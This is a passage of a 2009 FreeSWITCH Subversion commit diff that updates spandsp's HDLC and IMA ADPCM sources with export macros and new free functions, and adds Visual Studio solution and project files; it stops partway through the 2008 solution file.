@@ -499,7 +545,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int hdlc_tx_get_bit(hdlc_tx_state_t *s)
+SPAN_DECLARE_NONSTD(int) hdlc_tx_get_bit(hdlc_tx_state_t *s)
 {
     int txbit;
 
@@ -515,33 +561,33 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int hdlc_tx_get(hdlc_tx_state_t *s, uint8_t buf[], size_t max_len)
+SPAN_DECLARE_NONSTD(int) hdlc_tx_get(hdlc_tx_state_t *s, uint8_t buf[], size_t max_len)
 {
-    int i;
+    size_t i;
     int x;
 
     for (i = 0;  i < max_len;  i++)
     {
         if ((x = hdlc_tx_get_byte(s)) == SIG_STATUS_END_OF_DATA)
             return i;
-        buf[i] = x;
+        buf[i] = (uint8_t) x;
     }
-    return i;
+    return (int) i;
 }
 /*- End of function --------------------------------------------------------*/
 
-void hdlc_tx_set_max_frame_len(hdlc_tx_state_t *s, size_t max_len)
+SPAN_DECLARE(void) hdlc_tx_set_max_frame_len(hdlc_tx_state_t *s, size_t max_len)
 {
     s->max_frame_len = (max_len <= HDLC_MAXFRAME_LEN)  ?  max_len  :  HDLC_MAXFRAME_LEN;
 }
 /*- End of function --------------------------------------------------------*/
 
-hdlc_tx_state_t *hdlc_tx_init(hdlc_tx_state_t *s,
-                              int crc32,
-                              int inter_frame_flags,
-                              int progressive,
-                              hdlc_underflow_handler_t handler,
-                              void *user_data)
+SPAN_DECLARE(hdlc_tx_state_t *) hdlc_tx_init(hdlc_tx_state_t *s,
+                                             int crc32,
+                                             int inter_frame_flags,
+                                             int progressive,
+                                             hdlc_underflow_handler_t handler,
+                                             void *user_data)
 {
     if (s == NULL)
     {
@@ -568,4 +614,17 @@
     return s;
 }
 /*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) hdlc_tx_release(hdlc_tx_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) hdlc_tx_free(hdlc_tx_state_t *s)
+{
+    free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
 /*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/ima_adpcm.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/ima_adpcm.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/ima_adpcm.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,29 +23,31 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: ima_adpcm.c,v 1.29 2008/09/19 14:02:05 steveu Exp $
+ * $Id: ima_adpcm.c,v 1.36 2009/04/11 18:11:19 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
 #include <inttypes.h>
 #include <string.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/saturated.h"
 #include "spandsp/ima_adpcm.h"
+#include "spandsp/private/ima_adpcm.h"
 
 /*
  * Intel/DVI ADPCM coder/decoder.
@@ -113,20 +115,24 @@
    to indicate a partially filled last octet.
 */
 
+/*! The number of ADPCM step sizes */
 #define STEP_MAX 88
 
 /* Intel ADPCM step variation table */
 static const int step_size[STEP_MAX + 1] =
 {
-        7,     8,     9,   10,     11,    12,    13,    14,    16,    17,
-       19,    21,    23,   25,     28,    31,    34,    37,    41,    45,
-       50,    55,    60,   66,     73,    80,    88,    97,   107,   118,
-      130,   143,   157,   173,   190,   209,   230,   253,   279,   307,
-      337,   371,   408,   449,   494,   544,   598,   658,   724,   796,
-      876,   963,  1060,  1166,  1282,  1411,  1552,  1707,  1878,  2066,
-     2272,  2499,  2749,  3024,  3327,  3660,  4026,  4428,  4871,  5358,
-     5894,  6484,  7132,  7845,  8630,  9493, 10442, 11487, 12635, 13899,
-    15289, 16818, 18500, 20350, 22385, 24623, 27086, 29794, 32767
+        7,     8,     9,    10,    11,    12,    13,    14,
+       16,    17,    19,    21,    23,    25,    28,    31,
+       34,    37,    41,    45,    50,    55,    60,    66,
+       73,    80,    88,    97,   107,   118,   130,   143,
+      157,   173,   190,   209,   230,   253,   279,   307,
+      337,   371,   408,   449,   494,   544,   598,   658,
+      724,   796,   876,   963,  1060,  1166,  1282,  1411,
+     1552,  1707,  1878,  2066,  2272,  2499,  2749,  3024,
+     3327,  3660,  4026,  4428,  4871,  5358,  5894,  6484,
+     7132,  7845,  8630,  9493, 10442, 11487, 12635, 13899,
+    15289, 16818, 18500, 20350, 22385, 24623, 27086, 29794,
+    32767
 };
 
 static const int step_adjustment[8] =
@@ -272,7 +278,9 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-ima_adpcm_state_t *ima_adpcm_init(ima_adpcm_state_t *s, int variant, int chunk_size)
+SPAN_DECLARE(ima_adpcm_state_t *) ima_adpcm_init(ima_adpcm_state_t *s,
+                                                 int variant,
+                                                 int chunk_size)
 {
     if (s == NULL)
     {
@@ -287,17 +295,23 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int ima_adpcm_release(ima_adpcm_state_t *s)
+SPAN_DECLARE(int) ima_adpcm_release(ima_adpcm_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) ima_adpcm_free(ima_adpcm_state_t *s)
+{
     free(s);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int ima_adpcm_decode(ima_adpcm_state_t *s,
-                     int16_t amp[],
-                     const uint8_t ima_data[],
-                     int ima_bytes)
+SPAN_DECLARE(int) ima_adpcm_decode(ima_adpcm_state_t *s,
+                                   int16_t amp[],
+                                   const uint8_t ima_data[],
+                                   int ima_bytes)
 {
     int i;
     int j;
@@ -410,10 +424,10 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int ima_adpcm_encode(ima_adpcm_state_t *s,
-                     uint8_t ima_data[],
-                     const int16_t amp[],
-                     int len)
+SPAN_DECLARE(int) ima_adpcm_encode(ima_adpcm_state_t *s,
+                                   uint8_t ima_data[],
+                                   const int16_t amp[],
+                                   int len)
 {
     int i;
     int bytes;

Copied: freeswitch/branches/seven/libs/spandsp/src/libspandsp.2005.sln (from rev 14471, freeswitch/trunk/libs/spandsp/src/libspandsp.2005.sln) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/libspandsp.2005.sln	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/libspandsp.2005.sln	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,68 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "make_at_dictionary", "msvc\make_at_dictionary.2005.vcproj", "{DEE932AB-5911-4700-9EEB-8C7090A0A330}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "make_modem_filter", "msvc\make_modem_filter.2005.vcproj", "{329A6FA0-0FCC-4435-A950-E670AEFA9838}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libspandsp", "libspandsp.2005.vcproj", "{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}"
+	ProjectSection(ProjectDependencies) = postProject
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838} = {329A6FA0-0FCC-4435-A950-E670AEFA9838}
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330} = {DEE932AB-5911-4700-9EEB-8C7090A0A330}
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014} = {401A40CD-5DB4-4E34-AC68-FA99E9FAC014}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libspandsp_sim", "..\spandsp-sim\libspandsp_sim.2005.vcproj", "{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}"
+	ProjectSection(ProjectDependencies) = postProject
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838} = {329A6FA0-0FCC-4435-A950-E670AEFA9838}
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330} = {DEE932AB-5911-4700-9EEB-8C7090A0A330}
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014} = {401A40CD-5DB4-4E34-AC68-FA99E9FAC014}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libtiff", "libtiff.2005.vcproj", "{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}"
+	ProjectSection(ProjectDependencies) = postProject
+		{2B8A45C9-FEB4-4734-AB37-8DB9DB899917} = {2B8A45C9-FEB4-4734-AB37-8DB9DB899917}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Download TIFF", "msvc\Download_TIFF.2005.vcproj", "{2B8A45C9-FEB4-4734-AB37-8DB9DB899917}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		All|Win32 = All|Win32
+		Debug|Win32 = Debug|Win32
+		Release|Win32 = Release|Win32
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.All|Win32.ActiveCfg = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.All|Win32.Build.0 = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Debug|Win32.ActiveCfg = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Debug|Win32.Build.0 = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Release|Win32.ActiveCfg = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.All|Win32.ActiveCfg = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.All|Win32.Build.0 = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Debug|Win32.ActiveCfg = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Debug|Win32.Build.0 = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Release|Win32.ActiveCfg = All|Win32
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.All|Win32.ActiveCfg = Release|Win32
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.All|Win32.Build.0 = Release|Win32
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Debug|Win32.ActiveCfg = Debug|Win32
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Debug|Win32.Build.0 = Debug|Win32
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Release|Win32.ActiveCfg = Release|Win32
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Release|Win32.Build.0 = Release|Win32
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.All|Win32.ActiveCfg = Release|Win32
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.All|Win32.Build.0 = Release|Win32
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Debug|Win32.ActiveCfg = Debug|Win32
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Debug|Win32.Build.0 = Debug|Win32
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Release|Win32.ActiveCfg = Release|Win32
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Release|Win32.Build.0 = Release|Win32
+		{2B8A45C9-FEB4-4734-AB37-8DB9DB899917}.All|Win32.ActiveCfg = All|Win32
+		{2B8A45C9-FEB4-4734-AB37-8DB9DB899917}.All|Win32.Build.0 = All|Win32
+		{2B8A45C9-FEB4-4734-AB37-8DB9DB899917}.Debug|Win32.ActiveCfg = All|Win32
+		{2B8A45C9-FEB4-4734-AB37-8DB9DB899917}.Debug|Win32.Build.0 = All|Win32
+		{2B8A45C9-FEB4-4734-AB37-8DB9DB899917}.Release|Win32.ActiveCfg = All|Win32
+		{2B8A45C9-FEB4-4734-AB37-8DB9DB899917}.Release|Win32.Build.0 = All|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

Copied: freeswitch/branches/seven/libs/spandsp/src/libspandsp.2005.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/src/libspandsp.2005.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/libspandsp.2005.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/libspandsp.2005.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,360 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="libspandsp"
+	ProjectGUID="{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}"
+	RootNamespace="libspandsp"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+  <Platforms>
+    <Platform
+			Name="Win32"
+		/>
+  </Platforms>
+  <ToolFiles>
+  </ToolFiles>
+  <Configurations>
+    <Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)Debug"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+      <Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;.\spandsp;.\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="4"
+				CompileAs="1"
+				DisableSpecificWarnings="4127"
+			/>
+      <Tool
+				Name="VCLinkerTool"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="./Debug\spandsp.lib"
+				TargetMachine="1"
+			/>
+    </Configuration>
+    <Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)Release"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			WholeProgramOptimization="1"
+			>
+      <Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=".;.\spandsp;.\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127"
+			/>
+      <Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="./Release\spandsp.lib"
+				TargetMachine="1"
+			/>
+    </Configuration>
+  </Configurations>
+  <References>
+  </References>
+  <Files>
+    <Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+<File RelativePath="adsi.c"></File>
+<File RelativePath="async.c"></File>
+<File RelativePath="at_interpreter.c"></File>
+<File RelativePath="awgn.c"></File>
+<File RelativePath="bell_r2_mf.c"></File>
+<File RelativePath="bert.c"></File>
+<File RelativePath="bit_operations.c"></File>
+<File RelativePath="bitstream.c"></File>
+<File RelativePath="complex_filters.c"></File>
+<File RelativePath="complex_vector_float.c"></File>
+<File RelativePath="complex_vector_int.c"></File>
+<File RelativePath="crc.c"></File>
+<File RelativePath="dds_float.c"></File>
+<File RelativePath="dds_int.c"></File>
+<File RelativePath="dtmf.c"></File>
+<File RelativePath="echo.c"></File>
+<File RelativePath="fax.c"></File>
+<File RelativePath="fax_modems.c"></File>
+<File RelativePath="fsk.c"></File>
+<File RelativePath="g711.c"></File>
+<File RelativePath="g722.c"></File>
+<File RelativePath="g726.c"></File>
+<File RelativePath="gsm0610_decode.c"></File>
+<File RelativePath="gsm0610_encode.c"></File>
+<File RelativePath="gsm0610_long_term.c"></File>
+<File RelativePath="gsm0610_lpc.c"></File>
+<File RelativePath="gsm0610_preprocess.c"></File>
+<File RelativePath="gsm0610_rpe.c"></File>
+<File RelativePath="gsm0610_short_term.c"></File>
+<File RelativePath="hdlc.c"></File>
+<File RelativePath="ima_adpcm.c"></File>
+<File RelativePath="logging.c"></File>
+<File RelativePath="lpc10_analyse.c"></File>
+<File RelativePath="lpc10_decode.c"></File>
+<File RelativePath="lpc10_encode.c"></File>
+<File RelativePath="lpc10_placev.c"></File>
+<File RelativePath="lpc10_voicing.c"></File>
+<File RelativePath="modem_echo.c"></File>
+<File RelativePath="modem_connect_tones.c"></File>
+<File RelativePath="noise.c"></File>
+<File RelativePath="oki_adpcm.c"></File>
+<File RelativePath="playout.c"></File>
+<File RelativePath="plc.c"></File>
+<File RelativePath="power_meter.c"></File>
+<File RelativePath="queue.c"></File>
+<File RelativePath="schedule.c"></File>
+<File RelativePath="sig_tone.c"></File>
+<File RelativePath="silence_gen.c"></File>
+<File RelativePath="super_tone_rx.c"></File>
+<File RelativePath="super_tone_tx.c"></File>
+<File RelativePath="t4.c"></File>
+<File RelativePath="t30.c"></File>
+<File RelativePath="t30_api.c"></File>
+<File RelativePath="t30_logging.c"></File>
+<File RelativePath="t31.c"></File>
+<File RelativePath="t35.c"></File>
+<File RelativePath="t38_core.c"></File>
+<File RelativePath="t38_gateway.c"></File>
+<File RelativePath="t38_non_ecm_buffer.c"></File>
+<File RelativePath="t38_terminal.c"></File>
+<File RelativePath="testcpuid.c"></File>
+<File RelativePath="time_scale.c"></File>
+<File RelativePath="tone_detect.c"></File>
+<File RelativePath="tone_generate.c"></File>
+<File RelativePath="v17rx.c"></File>
+<File RelativePath="v17tx.c"></File>
+<File RelativePath="v18.c"></File>
+<File RelativePath="v22bis_rx.c"></File>
+<File RelativePath="v22bis_tx.c"></File>
+<File RelativePath="v27ter_rx.c"></File>
+<File RelativePath="v27ter_tx.c"></File>
+<File RelativePath="v29rx.c"></File>
+<File RelativePath="v29tx.c"></File>
+<File RelativePath="v42.c"></File>
+<File RelativePath="v42bis.c"></File>
+<File RelativePath="v8.c"></File>
+<File RelativePath="vector_float.c"></File>
+<File RelativePath="vector_int.c"></File>
+<File RelativePath=".\msvc\gettimeofday.c"></File>
+</Filter><Filter  Name="Header Files">
+<File RelativePath="spandsp/adsi.h"></File>
+<File RelativePath="spandsp/async.h"></File>
+<File RelativePath="spandsp/arctan2.h"></File>
+<File RelativePath="spandsp/at_interpreter.h"></File>
+<File RelativePath="spandsp/awgn.h"></File>
+<File RelativePath="spandsp/bell_r2_mf.h"></File>
+<File RelativePath="spandsp/bert.h"></File>
+<File RelativePath="spandsp/biquad.h"></File>
+<File RelativePath="spandsp/bit_operations.h"></File>
+<File RelativePath="spandsp/bitstream.h"></File>
+<File RelativePath="spandsp/crc.h"></File>
+<File RelativePath="spandsp/complex.h"></File>
+<File RelativePath="spandsp/complex_filters.h"></File>
+<File RelativePath="spandsp/complex_vector_float.h"></File>
+<File RelativePath="spandsp/complex_vector_int.h"></File>
+<File RelativePath="spandsp/dc_restore.h"></File>
+<File RelativePath="spandsp/dds.h"></File>
+<File RelativePath="spandsp/dtmf.h"></File>
+<File RelativePath="spandsp/echo.h"></File>
+<File RelativePath="spandsp/fast_convert.h"></File>
+<File RelativePath="spandsp/fax.h"></File>
+<File RelativePath="spandsp/fax_modems.h"></File>
+<File RelativePath="spandsp/fir.h"></File>
+<File RelativePath="spandsp/fsk.h"></File>
+<File RelativePath="spandsp/g168models.h"></File>
+<File RelativePath="spandsp/g711.h"></File>
+<File RelativePath="spandsp/g722.h"></File>
+<File RelativePath="spandsp/g726.h"></File>
+<File RelativePath="spandsp/gsm0610.h"></File>
+<File RelativePath="spandsp/hdlc.h"></File>
+<File RelativePath="spandsp/ima_adpcm.h"></File>
+<File RelativePath="spandsp/logging.h"></File>
+<File RelativePath="spandsp/lpc10.h"></File>
+<File RelativePath="spandsp/modem_echo.h"></File>
+<File RelativePath="spandsp/modem_connect_tones.h"></File>
+<File RelativePath="spandsp/noise.h"></File>
+<File RelativePath="spandsp/oki_adpcm.h"></File>
+<File RelativePath="spandsp/playout.h"></File>
+<File RelativePath="spandsp/plc.h"></File>
+<File RelativePath="spandsp/power_meter.h"></File>
+<File RelativePath="spandsp/queue.h"></File>
+<File RelativePath="spandsp/saturated.h"></File>
+<File RelativePath="spandsp/schedule.h"></File>
+<File RelativePath="spandsp/sig_tone.h"></File>
+<File RelativePath="spandsp/silence_gen.h"></File>
+<File RelativePath="spandsp/super_tone_rx.h"></File>
+<File RelativePath="spandsp/super_tone_tx.h"></File>
+<File RelativePath="spandsp/t4.h"></File>
+<File RelativePath="spandsp/t30.h"></File>
+<File RelativePath="spandsp/t30_api.h"></File>
+<File RelativePath="spandsp/t30_fcf.h"></File>
+<File RelativePath="spandsp/t30_logging.h"></File>
+<File RelativePath="spandsp/t31.h"></File>
+<File RelativePath="spandsp/t35.h"></File>
+<File RelativePath="spandsp/t38_core.h"></File>
+<File RelativePath="spandsp/t38_gateway.h"></File>
+<File RelativePath="spandsp/t38_non_ecm_buffer.h"></File>
+<File RelativePath="spandsp/t38_terminal.h"></File>
+<File RelativePath="spandsp/telephony.h"></File>
+<File RelativePath="spandsp/time_scale.h"></File>
+<File RelativePath="spandsp/timing.h"></File>
+<File RelativePath="spandsp/tone_detect.h"></File>
+<File RelativePath="spandsp/tone_generate.h"></File>
+<File RelativePath="spandsp/v17rx.h"></File>
+<File RelativePath="spandsp/v17tx.h"></File>
+<File RelativePath="spandsp/v18.h"></File>
+<File RelativePath="spandsp/v22bis.h"></File>
+<File RelativePath="spandsp/v27ter_rx.h"></File>
+<File RelativePath="spandsp/v27ter_tx.h"></File>
+<File RelativePath="spandsp/v29rx.h"></File>
+<File RelativePath="spandsp/v29tx.h"></File>
+<File RelativePath="spandsp/v42.h"></File>
+<File RelativePath="spandsp/v42bis.h"></File>
+<File RelativePath="spandsp/v8.h"></File>
+<File RelativePath="spandsp/vector_float.h"></File>
+<File RelativePath="spandsp/vector_int.h"></File>
+<File RelativePath="spandsp/version.h"></File>
+<File RelativePath="spandsp/private/adsi.h"></File>
+<File RelativePath="spandsp/private/async.h"></File>
+<File RelativePath="spandsp/private/at_interpreter.h"></File>
+<File RelativePath="spandsp/private/awgn.h"></File>
+<File RelativePath="spandsp/private/bell_r2_mf.h"></File>
+<File RelativePath="spandsp/private/bert.h"></File>
+<File RelativePath="spandsp/private/bitstream.h"></File>
+<File RelativePath="spandsp/private/dtmf.h"></File>
+<File RelativePath="spandsp/private/fax.h"></File>
+<File RelativePath="spandsp/private/fax_modems.h"></File>
+<File RelativePath="spandsp/private/fsk.h"></File>
+<File RelativePath="spandsp/private/g711.h"></File>
+<File RelativePath="spandsp/private/g722.h"></File>
+<File RelativePath="spandsp/private/g726.h"></File>
+<File RelativePath="spandsp/private/gsm0610.h"></File>
+<File RelativePath="spandsp/private/hdlc.h"></File>
+<File RelativePath="spandsp/private/ima_adpcm.h"></File>
+<File RelativePath="spandsp/private/logging.h"></File>
+<File RelativePath="spandsp/private/lpc10.h"></File>
+<File RelativePath="spandsp/private/modem_connect_tones.h"></File>
+<File RelativePath="spandsp/private/noise.h"></File>
+<File RelativePath="spandsp/private/oki_adpcm.h"></File>
+<File RelativePath="spandsp/private/queue.h"></File>
+<File RelativePath="spandsp/private/schedule.h"></File>
+<File RelativePath="spandsp/private/sig_tone.h"></File>
+<File RelativePath="spandsp/private/silence_gen.h"></File>
+<File RelativePath="spandsp/private/super_tone_rx.h"></File>
+<File RelativePath="spandsp/private/super_tone_tx.h"></File>
+<File RelativePath="spandsp/private/t30.h"></File>
+<File RelativePath="spandsp/private/t31.h"></File>
+<File RelativePath="spandsp/private/t38_core.h"></File>
+<File RelativePath="spandsp/private/t38_gateway.h"></File>
+<File RelativePath="spandsp/private/t38_non_ecm_buffer.h"></File>
+<File RelativePath="spandsp/private/t38_terminal.h"></File>
+<File RelativePath="spandsp/private/t4.h"></File>
+<File RelativePath="spandsp/private/time_scale.h"></File>
+<File RelativePath="spandsp/private/tone_detect.h"></File>
+<File RelativePath="spandsp/private/tone_generate.h"></File>
+<File RelativePath="spandsp/private/v17rx.h"></File>
+<File RelativePath="spandsp/private/v17tx.h"></File>
+<File RelativePath="spandsp/private/v18.h"></File>
+<File RelativePath="spandsp/private/v22bis.h"></File>
+<File RelativePath="spandsp/private/v27ter_rx.h"></File>
+<File RelativePath="spandsp/private/v27ter_tx.h"></File>
+<File RelativePath="spandsp/private/v29rx.h"></File>
+<File RelativePath="spandsp/private/v29tx.h"></File>
+<File RelativePath="spandsp/private/v42.h"></File>
+<File RelativePath="spandsp/private/v42bis.h"></File>
+<File RelativePath="spandsp/private/v8.h"></File>
+<File RelativePath="spandsp/expose.h"></File>
+<File RelativePath="spandsp.h"></File>
+		</Filter>
+
+		<File
+
+			RelativePath=".\msvc\spandsp.h"
+
+			>
+
+			<FileConfiguration
+
+				Name="Debug|Win32"
+
+				>
+
+				<Tool
+
+					Name="VCCustomBuildTool"
+
+					Description="Copying $(InputPath) to $(ProjectDir)$(InputFileName)"
+
+					CommandLine="copy &quot;$(InputPath)&quot; &quot;$(ProjectDir)$(InputFileName)&quot;"
+
+					Outputs="$(ProjectDir)$(InputFileName)"
+
+				/>
+
+			</FileConfiguration>
+
+			<FileConfiguration
+
+				Name="Release|Win32"
+
+				>
+
+				<Tool
+
+					Name="VCCustomBuildTool"
+
+					Description="Copying $(InputPath) to $(ProjectDir)$(InputFileName)"
+
+					CommandLine="copy &quot;$(InputPath)&quot; &quot;$(ProjectDir)$(InputFileName)&quot;"
+
+					Outputs="$(ProjectDir)$(InputFileName)"
+
+				/>
+
+			</FileConfiguration>
+
+		</File>
+
+	</Files>
+
+	<Globals>
+
+	</Globals>
+
+</VisualStudioProject>
+

Copied: freeswitch/branches/seven/libs/spandsp/src/libspandsp.2008.sln (from rev 14471, freeswitch/trunk/libs/spandsp/src/libspandsp.2008.sln) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/libspandsp.2008.sln	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/libspandsp.2008.sln	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,209 @@
+
+Microsoft Visual Studio Solution File, Format Version 10.00
+# Visual C++ Express 2008
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "make_at_dictionary", "msvc\make_at_dictionary.2008.vcproj", "{DEE932AB-5911-4700-9EEB-8C7090A0A330}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "make_modem_filter", "msvc\make_modem_filter.2008.vcproj", "{329A6FA0-0FCC-4435-A950-E670AEFA9838}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libspandsp", "libspandsp.2008.vcproj", "{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}"
+	ProjectSection(ProjectDependencies) = postProject
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838} = {329A6FA0-0FCC-4435-A950-E670AEFA9838}
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330} = {DEE932AB-5911-4700-9EEB-8C7090A0A330}
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014} = {401A40CD-5DB4-4E34-AC68-FA99E9FAC014}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "make_line_models", "..\spandsp-sim\msvc\make_line_models.2008.vcproj", "{F290BADE-82DE-4037-B49D-D563E43169DA}"
+	ProjectSection(ProjectDependencies) = postProject
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5} = {1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libspandsp_sim", "..\spandsp-sim\libspandsp_sim.2008.vcproj", "{502F1E51-F0A0-4607-AB7F-05BAB530AAE1}"
+	ProjectSection(ProjectDependencies) = postProject
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5} = {1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libtiff", "libtiff.2008.vcproj", "{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}"
